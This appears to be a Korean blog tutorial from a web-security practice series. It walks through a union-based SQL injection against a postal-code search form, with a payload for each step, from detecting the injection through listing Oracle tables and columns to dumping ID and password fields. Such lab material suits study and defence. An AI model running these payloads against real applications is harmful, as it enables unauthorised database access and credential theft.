Union sql injection


Step 1. SQL Injection 동작 여부 확인

Query
0’ or 1=1--

다음 쿼리는 SQL Injection 이 적용이 되는지 확인할 수 있는 쿼리다. 각각의 SQL마다 문법이 다르기 때문에 쿼리는 조금씩 바뀐다.

쿼리를 입력하게 되면 모든 우편번호 리스트가 전부 출력이 되는 것을 확인할 수 있다. 이를 통해서 SQL 쿼리문이 먹히는 것을 확인할 수 있고, 어떤 회사의 SQL을 사용하는지 추측할 수 있다.

 

step 2. Union SQL Injection으로 컬럼 개수 확인

Query
영등포동8%’ ORDER BY 4 --
영등포동8%’ UNION SELECT NULL, NULL, NULL, NULL FROM ALL_TABLES --
영등포동8%’ ORDER BY 3 --
영등포동8%’ UNION SELECT NULL, NULL, NULL ROM ALL_TABLES --

 

[컬럼 개수 불일치 시]

[컬럼 개수 일치 시]

union select 쿼리문을 이용해서 ORDER BY를 이용하거나, 컬럼을 NULL로 채워 개수를 확인 가능하다. ORDER BY를 이용하여 3를 입력하거나 NULL 3개 입력하게 되면 올바르게 출력되지만 그 외의 값을 넣으면 에러가 발생한다.

 

Step 3. 컬럼 데이터 타입 확인

Query
영등포동8%' UNION SELECT NULL, '123', '456' FROM ALL_TABLES --

”, “주소에 해당하는 컬럼이 문자열로 받는다는 것을 확인할 수 있음. NULL은 어떤 데이터 타입에도 사용 가능하지만 우편번호의 경우에 문자열을 넣게 되면 에러가 발생하게 된다.

 

Step 4. 테이블명 확인

Query
영등포동8%' UNION SELECT NULL, TABLE_NAME, NULL from ALL_TABLES --

문자열이 입력 가능한 부분에 TABLE_NAME을 출력할 수 있다.

Oracle SQL의 기본 명령어인 ALL_TABLES TABLE_NAME을 이용해서 테이블의 정보를 추출할 수 있다.

 

Step 5. 의심되는 테이블의 컬럼 추출

Query
영등포동8%' union SELECT NULL, COLUMN_NAME, NULL FROM ALL_TAB_COLUMNS where table_name='LHSMEMBER3'--

 

“LHSMEMBER3” 테이블의 컬럼을 확인해봤을 때, ID PW가 적혀있는 컬럼명을 확인할 수 있음.

 

Step 6. ID PW 확인

Query
영등포동8%' UNION SELECT NULL, ID, PW FROM LHSMEMBER3 --

NULL 칸을 제외한 문자열을 사용할 수 있는 칸에서 ID PW를 출력하는 쿼리이다.

다음과 같이 입력을 하게 되면 칸에 ID주소칸에 PW를 출력할 수 있다. PW의 경우에는 암호화 되어있는 것을 확인할 수 있음.

'웹 보안 > SQLi' 카테고리의 다른 글

Blind SQL Injection 실습  (0) 2025.05.08
Error-Based SQL Injection 실습  (0) 2025.05.08
SQL Injection(SQLi)  (0) 2025.04.07

+ Recent posts